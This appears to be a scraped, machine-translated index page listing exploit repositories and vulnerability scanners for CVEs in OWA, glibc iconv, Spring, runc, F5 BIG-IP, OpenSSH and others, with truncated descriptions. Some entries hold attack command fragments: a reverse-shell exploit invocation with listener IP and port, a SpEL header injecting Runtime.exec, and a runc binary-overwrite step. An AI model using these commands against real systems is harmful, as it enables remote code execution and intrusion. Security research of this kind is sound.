CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Nicht authentifizierte Remotecodeausführung https://vulners.com/cve/CVE-2022-24637 Beispiel root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

cnext-exploits

CNEXT Exploits Exploits für CNEXT CVE-2024-2961, ein Buffer-Overflow in der glibc iconv, von @cfreal Verwendung root@kitploit: $ git clone --recurse-submodules https://github.com/ambionics/cnext-exploits.git $ pip install -r requirements.txt Technische Analyse Die Schwachstelle und die Exploits...

CVE-2024-25153

Exploit per CVE-2024-25153 Indice Clicca per visualizzare 1. Introduzione 2. Installazione 3. Utilizzo 4. Contribuire 5. Licenza Introduzione Benvenuto nell'Exploit per CVE-2024-25153! Questo progetto è una soluzione per sfruttare la vulnerabilità CVE-2024-25153 ed eseguire codice da remoto in...

Windows-RCE-exploits

Mein anderes GitHub-Repo für Vendor-Tests gegen fileless Angriffe - https://github.com/smgorelik/VendorSimTestScripts Windows-RCE-exploits Die Exploit-Sample-Datenbank ist ein Repository für RCE -Exploits Remote Code Execution und Proof-of-Concepts für WINDOWS. Die Samples werden zu Bildungszweck...

CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

CVE-2021-21972-vCenter-6.5-7.0-RCE-POC poc Verifica solo lo stato di ritorno del percorso di qualcuno POC Solo per test, nessun modulo EXP aggiunto POC solo per test, nessun modulo exp aggiunto...

CVE-2022-1388-EXP

Controllo RCE F5 BIG-IP Controllo: CVE-2022-1388 Rilevamento batch RCE F5 BIG-IP Exploit: Nota: l'exploit è basato su CVE-2021-22986!...

dnsbin

dnsbin Il request.bin delle richieste DNS DNSBin è un semplice strumento per testare l'esfiltrazione di dati tramite DNS e aiutare a testare vulnerabilità come RCE o XXE quando l'ambiente ha vincoli significativi. Il progetto è composto da due parti: la prima è il server web e i suoi componenti...

spring-boot-cve-2022-22965

= Esempio di override della versione di Spring Framework Questo repository mostra come eseguire l'override della versione di Spring Framework in un'applicazione basata su Spring Boot 2.4. Spring Boot 2.4.x è https://spring.io/projects/spring-bootsupportfuori dal supporto OSS, l'ultima versione è...

exphub

Notice Alla fine ho comunque pensato che avere uno script separato per ogni vulnerabilità fosse molto scomodo, quindi ho riunito tutti gli script PoC ed exploit in un unico posto, consentendo scansione e sfruttamento con un solo clic. Dato che ultimamente sto lavorando all'integrazione, Exphub è...

CVE-2025-24813-Scanner

CVE-2025-24813 Scanner Uno scanner di vulnerabilità multi-thread per individuare server Apache Tomcat vulnerabili a CVE-2025-24813 caricamento arbitrario di file che porta a RCE. Descrizione Questo scanner controlla se i server Apache Tomcat sono vulnerabili a CVE-2025-24813: 1. Tentando di...

0day

0day Per motivi ben noti, il repository originale è stato eliminato, ma ne è stata conservata una copia; forks e stars sono state azzerate Ma state tranquilli: è sempre la stessa ricetta, lo stesso sapore. Per evitare di non riuscire più a trovare questo progetto qualora la situazione si ripetess...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header root@kitploit: spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" build root@kitploit: wget...

spring-spel-0day-poc

spring-spel-0day-poc spring-cloud/spring-cloud-function RCE EXP POC https://github.com/spring-cloud/spring-cloud-function header root@kitploit: spring.cloud.function.routing-expression:Tjava.lang.Runtime.getRuntime.exec"open -a calculator.app" build root@kitploit: wget...

CVE-2018-6574-go-get-RCE

Questo repository non contiene un README...

Scanner_CVE_OpenSSH

Scanner per l'identificazione di server con software SSH potenzialmente vulnerabili a CVE-2024-6387 e CVE-2023-48795. CVE Coperte CVE| Nome| Condizione| Severità ---|---|---|--- CVE-2024-6387| regreSSHion| OpenSSH 9.8p1| CRITICAL CVE-2023-48795| Terrapin| OpenSSH 9.6| HIGH CVE-2024-6387 —...

CVE-2019-5736-PoC

Utilizzo Il PoC è stato creato per lo scenario in cui la vittima esegue, ad esempio, docker exec sh. Prima di eseguire l'exploit è necessario sovrascrivere il binario sh nel filesystem del container: root@kitploit: printf '!/proc/self/exe' /bin/sh Successivamente, quando la vittima esegue il...

vulmap

🌟 Vulmap - Web vulnerability scanning and verification tools Click here for the English Version Vulmap is a web vulnerability scanning and verification tool. It can scan and exploit vulnerabilities in webapps. Currently supported webapps include activemq, flink, shiro, solr, struts2, tomcat, unom...

CVE-2019-19781-DFIR-Notes

Basierend auf einer Splunk -Perspektive. Die folgenden Ressourcen zeigen, dass die Aufnahme Ihrer Logs für eine ordnungsgemäße Analyse der Indicators of Compromise unerlässlich ist. Verschwende nie eine gute Krise... nimm alle Logs auf! Auswirkung / Grundursache: Remote-Befehlsausführung vor...

106362522

106362522 Riguardo al problema delle vulnerabilità di Exchange Server recentemente corrette da Microsoft dopo un attacco hacker, il team DEVCORE di Taiwan ha dichiarato di aver scoperto le vulnerabilità di sicurezza già il 5 gennaio e di averle segnalate a Microsoft, identificandole con i codici...

CVE-2026-3844

root@kitploit: ╔════════════════════════════════════════════════════════════╗ ║ CVE-2026-3844 ║ ║ Breeze Cache = 2.4.4 Arbitrary File Upload ║ ║ Unauthenticated RCE | Authorized Lab Use Only ║ ╚════════════════════════════════════════════════════════════╝ Panoramica CVE-2026-3844 è una...